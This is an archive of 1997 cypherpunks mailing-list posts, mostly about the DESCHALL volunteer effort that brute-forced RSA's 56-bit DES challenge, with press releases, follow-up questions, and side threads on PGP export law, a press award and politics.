run drugs in to their customers in the CIA's C-5 cargo planes. Sterling
discussed the "government as biggest crime syndicate" situtations in
several major countries, including Mexico, where the "Institutionalized
Revolutionary Party" (I'm not making that up, a la Orwell) kills its
opponents and runs the drug economy, Russia ('nuff said), Turkey (right
wing Pope killers, CIA station chiefs, and drug lords riding in the same
crashed car), and, last but not least, the United States of America.

(I hope a transcript is somewhere available on the Web, but his delivery
was done to perfection, so I hope a video of it is someday realeased.
Airing his 10-minute (I think) speech would be vastly more helpful to the
anti-fascist cause than all the meaningless "I take the Pledge" PR stuff.)


>But perhaps I will come up with a "Day in the Life of Tim 'Lock and Load'
>May, renegade cypherpunk, millionaire playboy, and curmudgeonly
>crypto-anarchist." Anyone want to join me in writing it?

No skin off my nose. Some good satire would be refreshing. Whomever was
doing the "Cypherpunks Enquirer" has apparently moved on to other things.
Neither Vulis' robograms nor Detweiler's foamings are very interesting.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Simmons <jsimmons@goblin.punk.net>
Date: Thu, 19 Jun 1997 05:18:57 +0800
To: cypherpunks@cyberpass.net
Subject: DESCHALL Press Release (fwd)
Message-ID: <199706182110.OAA07864@goblin.punk.net>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:
>From owner-deschall-announce@gatekeeper.megasoft.com Wed Jun 18 13:43:46 1997
Date: Wed, 18 Jun 1997 14:09:11 -0600
From: Rocke Verser <rcv@dopey.verser.frii.com>
Message-Id: <199706182009.OAA06697@dopey.verser.frii.com>
To: deschall@gatekeeper.megasoft.com
Subject: DESCHALL Press Release
Sender: owner-deschall@gatekeeper.megasoft.com
Precedence: bulk

        INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD

     LOVELAND, COLORADO (June 18, 1997).  Tens of thousands of
computers, all across the U.S. and Canada, linked together via the
Internet in an unprecedented cooperative supercomputing effort to
decrypt a message encoded with the government-endorsed Data Encryption
Standard (DES).

     Responding to a challenge, including a prize of $10,000, offered by
RSA Data Security, Inc, the DESCHALL effort successfully decoded
RSADSI's secret message.

     According to Rocke Verser, a contract programmer and consultant who
developed the specialized software in his spare time, "Tens of thousands
of computers worked cooperatively on the challenge in what is believed
to be one of the largest supercomputing efforts ever undertaken outside
of government."

     Using a technique called "brute-force", computers participating in
the challenge simply began trying every possible decryption key.  There
are over 72 quadrillion keys (72,057,594,037,927,936).  At the time the
winning key was reported to RSADSI, the DESCHALL effort had searched
almost 25% of the total.  At its peak over the recent weekend, the
DESCHALL effort was testing 7 billion keys per second.

     Verser considers this project to be remarkable in two ways:

     One.  This is the first time anyone has publicly shown that they
can read a message encrypted with DES.  And this was done with "spare"
CPU time, mostly from ordinary PCs, by thousands of users who have never
even met each other.  U.S. government and industry will have to take a
hard look at their cryptographic policies.  "DES can no longer be
considered secure against a determined adversary", Verser said.

     Two.  This project demonstrates the kind of supercomputing power
that can be harnessed on the Internet using nothing but "spare" CPU
time.  "Imagine what might be possible using millions of computers
connected to the Internet!"  Aside from cryptography and other obvious
mathematical uses, supercomputers are used in many fields of science.
"Perhaps a cure for cancer is lurking on the Internet?", said Verser,
"Or perhaps the Internet will become Everyman's supercomputer."


     Under current U.S. government export regulations, and underscoring
a problem faced by the U.S. software industry, the program that searched
the keys could not be exported, except to Canada.  A competitive effort,
based in Sweden, sprang up well after the DESCHALL effort began.  Able
to "market" their keysearch software around the world, the Swedish
effort caught up quickly, and had searched nearly 10 quadrillion keys by
the end of the contest.

                   ------------------------------------

     Verser agrees with the sentiment voiced in RSADSI's secret message:
"Strong cryptography makes the world a safer place."

     Use of strong cryptography, both domestically and internationally,
is essential in today's electronic world.  "But not at the expense of a
citizen's right to privacy."  Verser adds, "Recent proposals for
'key-recovery' and for criminalization of the use of cryptography have no
place in a free society."


     Information about the DESCHALL effort is available from the
official DESCHALL Web site at:  <http://www.frii.com/~rcv/deschall.htm>



MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, <cmcurtin@research.megasoft.com>

ALTERNATE:
      Rocke Verser, (970) 663-5629, <rcv@dopey.verser.frii.com>

ALTERNATE:
      Justin Dolske, (614) 459-5194, <dolske.1@osu.edu>

                                    - 30 -






         INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
             Background / Sidebar, for Release dated June 18, 1997

     The Data Encryption Standard, DES, is a national standard, adopted
in 1977.  Use of DES is mandatory in most Federal agencies, except the
military.  DES is very widely used in the private sector, as well.

     Interbank wire transfers, Visa transactions, your medical and
financial records, and your employer's financial data are some of the
many things secured against prying eyes or against modification by DES.

     When the Data Encryption Standard was adopted in 1977, there was
some question as to whether or not the Standard was adequate to protect
confidential data.

     Matt Curtin, Chief Scientist for Megasoft, Inc. says, "This is
proving by example, not by mathematical calculation, that DES can be
broken with little or no cost."  Curtin added, "Others could just as
easily be attempting to gain access to multibillion dollar wire
transfers."


MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, <cmcurtin@research.megasoft.com>

ALTERNATE:
      Rocke Verser, (970) 663-5629, <rcv@dopey.verser.frii.com>

ALTERNATE:
      Justin Dolske, (614) 459-5194, <dolske.1@osu.edu>

                                    - 30 -







         INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
                 Background for Release dated June 18, 1997

                           DESCHALL DATA SHEET

DESCHALL Web site:
  <http://www.frii.com/~rcv/deschall.htm>

Principal Organizer:
  Rocke Verser, self-employed contract programmer, Loveland, Colorado

Team Leaders - Did "everything" Rocke didn't have time to do
  Matt Curtin, Chief Scientist, Megasoft Online
  Justin Dolske, Graduate Fellow / Research Associate, Ohio State Universtiy

Team Contributors:
  Guy Albertelli, several "ports"
  Kelly Campbell, original Mac port
  Darrell Kindred, blazing fast bitslice clients
  Andrew Meggs, blazing fast Mac client
  Karl Runge, statistics and rankings

Team Members:
  Dozens of people who contributed "shareware".
  Thousands of ordinary folks, who contributed "spare" CPU cycles.


Project statistics:
  Start of contest:                  January 29, 1997
  Announcement of DESCHALL project:  February 18, 1997
  End of contest:                    June 17, 1997

  Size of keyspace:  72,057,594,037,927,936
  Keys searched:     17,731,502,968,143,872
  Peak keys/day:        601,296,394,518,528
  Peak keys/second:           7,000,000,000 (approx)

  Peak clients/day:                  14,000 (approx, based on IP address)
  Total clients, since start:        78,000 (approx, based on IP address)

The computer that found the key:
  CPU:                  Pentium 90
  RAM:                  16 megabytes
  Operating System:     FreeBSD 2.2.1
  Speed (keys/second):  250,000 (approx)
  Client:               FreeBSD v0.214, built March 12, 1997
  Owner:                iNetZ Corporation, Salt Lake City, Utah
  Operator:             Michael K. Sanders


MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, <cmcurtin@research.megasoft.com>

ALTERNATE:
      Rocke Verser, (970) 663-5629, <rcv@dopey.verser.frii.com>

ALTERNATE:
      Justin Dolske, (614) 459-5194, <dolske.1@osu.edu>


-- 
Jeff Simmons					jsimmons@goblin.punk.net

       Hey, man, got any spare CPU cycles?  Help crack DES.
             http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 03:34:42 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <v03102800afcc849b8fca@[207.167.93.63]>
Message-ID: <v03007804afcddb0bac04@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 20:34 -0700 6/17/97, Vladimir Z. Nuri wrote:
>hee, hee, I hope that Declan comes up with an amusing mishmash of your
>own life. turnabout is fair play. maybe if he doesn't, someone else
>can take a stab at satirizing mr. debauched millionaire playboy
>who dabbles in cryptography theory.

I was far from offended by Tim's post; in fact, I thought it was hilarious.

But perhaps I will come up with a "Day in the Life of Tim 'Lock and Load'
May, renegade cypherpunk, millionaire playboy, and curmudgeonly
crypto-anarchist." Anyone want to join me in writing it?

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 19 Jun 1997 04:25:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.970618145849.27859B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 17 Jun 1997, Tim May wrote:

> At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:
> 
> >What is appropriate for the master is not appropriate| Tom Weinstein
> >for the novice.  You must understand Tao before      | tomw@netscape.com
> >transcending structure.  -- The Tao of Programming   |
> 
> All Beings are happy when the Tao approaches 8800.
> 

The Tao of heaven is like the bending of a bow.
The high is lowered, and the low is raised.
If the string is too long, it is shortened;
If there is not enough, it is made longer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 19 Jun 1997 14:38:27 +0800
To: "sameer@c2.net>
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
MIME-Version: 1.0
Content-Type: text/plain




I actually got a kick out of reading the bullshit in the press release.

>Oakland, California (June 18, 1997)-The 56-bit DES encryption
>standard, long claimed "adequate" by the U.S. Government, was
>shattered yesterday using an ordinary Pentium personal computer

Actually it was more than 70,000 clients working together

> "That DES can be broken so quickly should send a chill through the
>heart of anyone relying on it for secure communications,"

I'm shitting bricks. No mention was made that only 25% of the keyspace
was tested.

>"Unfortunately, most people today...

Unfortunately some companies depend on BS to sell products. Glad to see
C2Net is no different,

[Rest of the noise removed]

You should have given credit to DESCHALL whose effort is be applauded.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 19 Jun 1997 07:28:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: DESCHALL Press Release (fwd)
In-Reply-To: <199706182110.OAA07864@goblin.punk.net>
Message-ID: <199706182318.QAA29014@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




>         INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD

[snip]

> At the time the winning key was reported to RSADSI, the DESCHALL effort
> had searched almost 25% of the total.  At its peak over the recent
> weekend, the DESCHALL effort was testing 7 billion keys per second. 

A quick question.  Was finding the key by searching less than a quarter
of the keyspace just luck?  Or did the DESCHALL folks exclude keyspace
already searched by competing efforts?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Simmons <jsimmons@goblin.punk.net>
Date: Thu, 19 Jun 1997 08:15:28 +0800
To: enoch@zipcon.net
Subject: Re: DESCHALL Press Release (fwd)
In-Reply-To: <199706182318.QAA29014@zipcon.net>
Message-ID: <199706190008.RAA10910@goblin.punk.net>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> >         INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
> 
> [snip]
> 
> > At the time the winning key was reported to RSADSI, the DESCHALL effort
> > had searched almost 25% of the total.  At its peak over the recent
> > weekend, the DESCHALL effort was testing 7 billion keys per second. 
> 
> A quick question.  Was finding the key by searching less than a quarter
> of the keyspace just luck?  Or did the DESCHALL folks exclude keyspace
> already searched by competing efforts?
 
There were three main groups looking for the RSADSI key:  DESCHALL,
SOLNet (European based), and a private attack at SGI.  To my knowledge
none of them excluded keyspace the others had searched.

You might call it luck, but at the time the key was found, the combined
keyspace searched by the three groups was a bit over 50%, even counting
in the expected number of duplicate keys searched.

-- 
Jeff Simmons				"Hey guys, I don't hear any noise,
jsimmons@goblin.punk.net		 Are you sure you're doing it right?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 19 Jun 1997 05:32:19 +0800
To: cypherpunks@toad.com
Subject: Deschall Fwd: WE FOUND IT!
Message-ID: <v03020900afcdff50cc00@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Wed, 18 Jun 1997 17:01:16 -0400
To: dcsb@ai.mit.edu
From: Kent Borg <kentborg@borg.org>
Subject: Deschall Fwd: WE FOUND IT!
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Kent Borg <kentborg@borg.org>

56-bit DES has now been publicly cracked!  In a chaotic volunteer effort,
no less.  Cool!

-kb, the Kent who's Macintosh searched quite a few billion keys, but did
not find it.


<< start of forwarded material >>

 ** Date: Wed, 18 Jun 1997 13:46:19 -0600
 ** From: Rocke Verser <rcv@dopey.verser.frii.com>
 ** To: deschall-announce@gatekeeper.megasoft.com
 ** Subject:  WE FOUND IT!
 ** Sender: owner-deschall-announce@gatekeeper.megasoft.com
 ** Precedence: bulk
 **
 ** -----BEGIN PGP SIGNED MESSAGE-----
 **
 **         "Strong cryptography makes the world a safer place."
 **
 ** That's the message RSA has been waiting for us to decipher.
 ** And we did it!
 **
 ** The correct key (8558891AB0C851B6) was reported to RSA Data Security
 ** shortly before midnight last night (Mountain Time).  RSA's automated
 ** server acknowledged our win!
 **
 ** The winning computer is a Pentium 90MHz, operated by iNetZ Corporation
 ** of Salt Lake City, Utah.  Their employee, Michael K. Sanders, was the
 ** individual who was running the DESCHALL client.
 **
 ** Congratulations, Michael.  And congratulations to all who participated!
 **
 **
 ** Many thanks are due, all around.
 **
 ** Special thanks to Justin Dolske and Matt Curtin, who took enormous
 ** pressure off of me, early in the project; and who have kept the client
 ** archives, mailing lists, and gateways humming right along; and who
 ** diligently responded to *so many* questions on the mailing lists.
 ** Thanks very much!
 **
 ** Special thanks to Darrell Kindred and Andrew Meggs, whose programming
 ** skill in their respective fields (fast bitslice clients and fast
 ** user-friendly Mac PPC clients) is unmatched!
 **
 ** Special thanks to Karl Runge, who has spent many evenings into the wee
 ** hours (is 5 AM wee?) to develop some outstanding stats and to make sure
 ** those stats were posted each morning!
 **
 ** Special thanks to Jeff Simmons, and others, whose names tragically
 ** escape me, who did some early publicity to get the project rolling!
 **
 ** Special thanks to the other developers, Guy Albertelli and Kelly
 ** Campbell.  Guy performed a number of "ports", and Kelly produced the
 ** first Mac client.
 **
 ** Thanks to countless others, who devoted not just their CPU cycles, but
 ** their boundless energy as well.
 **
 **
 ** I offer both thanks and consolations to our only public "competitor",
 ** SolNET.
 **
 ** Magnus and Fredrik:  As I have said before, SolNET is a class outfit.  I
 ** never once heard you disparage your competition.  We thank you!
 **
 ** In a sense, the "win" belongs to all of us, who contributed CPU cycles
 ** and clients and ideas and innovations.  We searched less than 1/4 of the
 ** keyspace.  Worldwide, over half of the keyspace was searched.  A
 ** DESCHALL client may have found "the" key, but you deserve credit for
 ** helping to bring the "expected date of completion" significantly ahead.
 **
 ** Your Web site gave us a goal to shoot for.  A goal which we never met.
 ** Your clients had many features our users wished for.  There is no shame
 ** in not finding the key.  But I know the anguish you must feel after
 ** putting your hearts and souls into a project for 3-4 months, and not
 ** being "the" winner.
 **
 ** In my eyes, everyone who participated, whether working for the DESCHALL
 ** team or the SolNET team is a winner!
 **
 **
 ** Last but not least, thanks to my dear wife, Myra, who allowed me to
 ** engage in this project (when I should have been looking for my next
 ** contract programming job); and to her and my children, who tolerated
 ** the disruption to our household routine caused by this project.
 **
 **
 ** - - Rocke Verser, DESCHALL organizer, rcv@dopey.verser.frii.com
 **
 ** -----BEGIN PGP SIGNATURE-----
 ** Version: 2.6.2
 **
 ** iQCVAwUBM6g4wXI7TKUAAAABAQGNrwQAyuvPPGgIaRMmveI/9MwbTq6SbNerD4A3
 ** VluN2EW+GCvT1UiyTV2eQ3tJB+9f5RUVnQ77rqsVvME1Go0M1Vckq0VPzBdMYWgq
 ** laNv8tf4LEkSyu2LrfoLONyvrNmcByRmO8Bwt/QtqICK4gFpXcnoWXaCz4NG6iZf
 ** 6NtPgJnQh6o=
 ** =I+bG
 ** -----END PGP SIGNATURE-----
 **

<< end of forwarded material >>



--
Kent Borg                               H: +1-617-776-6899
kentborg@borg.org                       W:
          "The language seemed pretty natural to me.
                    I talk a lot like that."
        - My Minnesota mother Helene commenting on "Fargo"



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 19 Jun 1997 06:05:31 +0800
To: cypherpunks@toad.com
Subject: Re: The Tao
Message-ID: <199706182153.RAA14958@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
> 
> The Tao of heaven is like the bending of a bow.
> The high is lowered, and the low is raised.
> If the string is too long, it is shortened;
> If there is not enough, it is made longer.

  I had a boyfriend like that once.

TruthMistress






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 19 Jun 1997 07:58:28 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <v03007804afcddb0bac04@[168.161.105.191]>
Message-ID: <3.0.2.32.19970618182700.0384a25c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:50 PM 6/18/97 -0700, Tim May wrote:
>Washington is literally nothing more than just the
>world's largest shakedown racket, with taxpayers being extorted amounts of
>money probably unprecedented in world history (*), with various factions
>dispensing favors to some and punishing others.

Each year, the U.S. federal government steals and spends more money (and more 
actual value) than any government has ever stolen and blown before in the 
history of mankind.   It has been the record holder for more than 50 years 
and each year it breaks its own record.

I am aware that this is because the U.S. is the world's largest economy but 
that fact does not diminish the scale of the theft.

DCF

"And still they want more."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6hgs4VO4r4sgSPhAQE9dwP/VtpR6VWejpDnunTOQhiJwq/MwQTRvGD2
faBIJ3OrahlzlylwyN0b9pCFXMMDrzKR5ANED9ccPmy3ZqL1RWYhN4WO3Yf5ooxA
6NoPTelrwLGo15EjM6MjvyPXhid4qDfLlyNi8qocI3FKHsEANW63yktZb7eeoCJ3
mXQ9CHePPS4=
=stVA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: twinsvideo@infosel.net.mx
Date: Thu, 19 Jun 1997 09:05:05 +0800
To: cypherpunks@toad.com
Subject: INFORMATION
Message-ID: <Chameleon.970618185549.twinsvideo@infosel.infosel.net.mx>
MIME-Version: 1.0
Content-Type: text/plain



donn't think that i'm lame or somthin' but i realy need information on how to hack so, could you please tell me how to hack 
and what do i need in order to hack.

don't worry i won't get into trouble.

please hurry it's urgent.

T H N X   A L O T !
-------------------------------------
Name: twins video,s.a. de c.v.
E-mail: twinsvideo@infosel.net.mx
Date: 18/06/97
Time: 6:46:10 PM

This message was sent by Chameleon 
-------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Thu, 19 Jun 1997 10:07:42 +0800
To: cypherpunks@cyberpass.net
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
Message-ID: <199706190155.SAA08785@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



C2Net Software, Inc.
1212 Broadway
Oakland, CA 94612
510-986-8770

For Immediate Release

	  HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD

Oakland, California (June 18, 1997)-The 56-bit DES encryption
standard, long claimed "adequate" by the U.S. Government, was
shattered yesterday using an ordinary Pentium personal computer
operated by Michael K. Sanders, an employee of iNetZ, a Salt Lake
City, Utah-based online commerce provider. Sanders was part of a
loosely organized group of computer users responding to the "RSA
$10,000 DES Challenge." The code-breaking group distributed computer
software over the Internet for harnessing idle moments of computers
around the world to perform a 'brute force' attack on the encrypted
data.

"That DES can be broken so quickly should send a chill through the
heart of anyone relying on it for secure communications," said Sameer
Parekh, one of the group's participants and president of C2Net
Software, an Internet encryption provider headquartered in Oakland,
California (http://www.c2.net/). "Unfortunately, most people today
using the Internet assume the browser software is performing secure
communications when an image of a lock or a key appears on the
screen. Obviously, that is not true when the encryption scheme is
56-bit DES," he said.

INetZ vice president Jon Gay said "We hope that this will encourage
people to demand the highest available encryption security, such as
the 128-bit security provided by C2Net's Stronghold product, rather
than the weak 56-bit ciphers used in many other platforms."

Many browser programs have been crippled to use an even weaker, 40-bit
cipher, because that is the maximum encryption level the
U.S. government has approved for export. "People located within the US
can obtain more secure browser software, but that usually involves
submitting an affidavit of eligibility, which many people have not
done," said Parekh. "Strong encryption is not allowed to be exported
from the U.S., making it harder for people and businesses in
international locations to communicate securely," he explained.

According to computer security expert Ian Goldberg, "This effort
emphasizes that security systems based on 56-bit DES or
"export-quality" cryptography are out-of-date, and should be phased
out. Certainly no new systems should be designed with such weak
encryption.'' Goldberg is a member of the University of California at
Berkeley's ISAAC group, which discovered a serious security flaw in
the popular Netscape Navigator web browser software.

The 56-bit DES cipher was broken in 5 months, significantly faster
than the hundreds of years thought to be required when DES was adopted
as a national standard in 1977. The weakness of DES can be traced to
its "key length," the number of binary digits (or "bits") used in its
encryption algorithm. "Export grade" 40-bit encryption schemes can be
broken in less than an hour, presenting serious security risks for
companies seeking to protect sensitive information, especially those
whose competitors might receive code-breaking assistance from foreign
governments.

According to Parekh, today's common desktop computers are tremendously
more powerful than any computer that existed when DES was
created. "Using inexpensive (under $1000) computers, the group was
able to crack DES in a very short time," he noted. "Anyone with the
resources and motivation to employ modern "massively parallel"
supercomputers for the task can break 56-bit DES ciphers even faster,
and those types of advanced technologies will soon be present in
common desktop systems, providing the keys to DES to virtually
everyone in just a few more years."

56-bit DES uses a 56-bit key, but most security experts today consider
a minimum key length of 128 bits to be necessary for secure
encryption. Mathematically, breaking a 56-bit cipher requires just
65,000 times more work than breaking a 40-bit cipher. Breaking a
128-bit cipher requires 4.7 trillion billion times as much work as one
using 56 bits, providing considerable protection against brute-force
attacks and technical progress.

C2Net is the leading worldwide provider of uncompromised Internet
security software. C2Net's encryption products are developed entirely
outside the United States, allowing the firm to offer full-strength
cryptography solutions for international communications and
commerce. "Our products offer the highest levels of security available
today. We refuse to sell weak products that might provide a false
sense of security and create easy targets for foreign governments,
criminals, and bored college students," said Parekh. "We also oppose
so-called "key escrow" plans that would put everyone's cryptography
keys in a few centralized locations where they can be stolen and sold
to the highest bidder," he added. C2Net's products include the
Stronghold secure web server and SafePassage Web Proxy, an enhancement
that adds full-strength encryption to any security-crippled "export
grade" web browser software.

# # #

Pentium is a registered trademark of Intel Corporation.

Netscape and Netscape Navigator are registered trademarks of Netscape
Communications Corporation

Stronghold and SafePassage are trademarks of C2Net Software, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 19 Jun 1997 10:09:32 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Bob quoted in DowJones Markets magazine
In-Reply-To: <v03102800afcc849b8fca@[207.167.93.63]>
Message-ID: <v03102800afce41591e9f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



"Atoms to Bits: The Future of Money," in the June/July edition of Markets
magazine (page 17), appears to have an unattributed quote from our very own
Bob Hettinga:

	Take, for example, this comment from a futurist's correspondence
	on the Internet: "I expect that this new cashsettled, information-
	based, geodesic economy we're heading into will have some group which
	will figure out how to confiscate economic rents from the productive
	elements of society, much in the way that aristocrats did to
agriculture
	or nation-states did to industry."

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 07:31:23 +0800
To: cypherpunks@toad.com
Subject: Award from Computer Press Ass'n (shameless self-congratulation)
Message-ID: <v0300780fafce1cc01edb@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I just learned that Brock Meeks and I won the top award for "Best Online
Feature" from the Computer Press Association during its 12th annual awards
ceremony in New York City. Our winning article was the investigative story
"Keys to the Kingdom" that exposed the hidden agendas of so-called blocking
software programs. It ran in CyberWire Dispatch last July.

The judges said we had:

 "produced an investigative piece on a serious and important
 subject--a rare feat in any media.  'Keys to the Kingdom' revealed
 that parental control software--which ostensibly filters out
 pornographic Internet sites--actually restricts access to all
 types of material both innocuous and important.  Thus, software
 users unwittingly restrict their rights of free speech and access
 to information.  This story, colorfully written and packed with
 details, raised this important issue to the online community and
 resulted in high profile follow-ups with mainstream media such as
 the Washington Post, New York Times and the Wall St. Journal."

Our article is at:

http://www.eff.org/pub/Publications/Declan_McCullagh/cwd.keys.to.the.kingdom.079
6.article

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 19 Jun 1997 11:17:52 +0800
To: Arunas Norvaisa <arunas@post1.com>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
In-Reply-To: <3.0.32.19970618180132.00696e10@post1.com>
Message-ID: <3.0.2.32.19970618192907.007707dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:04 PM 6/18/97 +0300, Arunas Norvaisa wrote:
>>        ftp.hacktic.nl
>>        pub/replay/pub/incoming/pgp50trial.exe
> Will this be legal??? <= This is the question. BTW, when this
>'trial' version will cease to work?

"legal" means several things
1) If a US citizen in the US exported it, was that legal?  
	(probably not, though arguable in court.)
2) If a non-US-citizen located outside the US downloaded it
	from an account on a system in the US, does the US government
	have jurisdiction over them?  (probably not, so "legal" is moot.)
3) Does Nederlands law prevent you from exporting it to Turkey?
	(probably not, though if you were in Iraq or North Korea the
	answer might be different.)
4) Does Turkish law limit your importing or use of the software?
	(I don't know - you'll need to check that yourself.)
5) Does US law have any say over whether you can import it from
	the Nederlands to Turkey?  (Not really...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 19 Jun 1997 07:48:03 +0800
To: cypherpunks@toad.com
Subject: Re: Award from Computer Press Ass'n (shameless self-congratulation)
Message-ID: <1.5.4.32.19970618233105.00708a00@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Congrats Declan, and Brock.

The best blow-by was that "colorfully written and packed with details."

Too bad, that ass-kiss o'death "high-profile follow-up with mainstream media."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 19 Jun 1997 11:10:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bob quoted in DowJones Markets magazine
In-Reply-To: <v03102800afce41591e9f@[10.0.2.15]>
Message-ID: <v03102807afce50136cad@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:20 PM -0700 6/18/97, Robert Hettinga wrote:
>At 9:59 pm -0400 on 6/18/97, Steve Schear wrote:
>
>
>> "Atoms to Bits: The Future of Money," in the June/July edition of Markets
>> magazine (page 17), appears to have an unattributed quote from our very own
>> Bob Hettinga:
>
>Yeah. the guy who wrote it said that he did attribute it to me, but since I
>was "someone the average Telerate user wouldn't recognise", the copy
>editors killed it.

After this happened to me a while back, I told a later reporter that I
expected any quotes from me would be credited, as they were my words. I
told him I was not releasing my rights to these words, and that I wanted a
written, faxed, or e-mailed contract to this effect.

He said  he had no control over how his editors altered quotes, reworded
them, or deleted credits, so we ended our discussion at this point.

(No, this was not Declan.)

Not that it matters. Face it, our words in print vanish without a trace,
and are remembered by nobody except ourselves.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
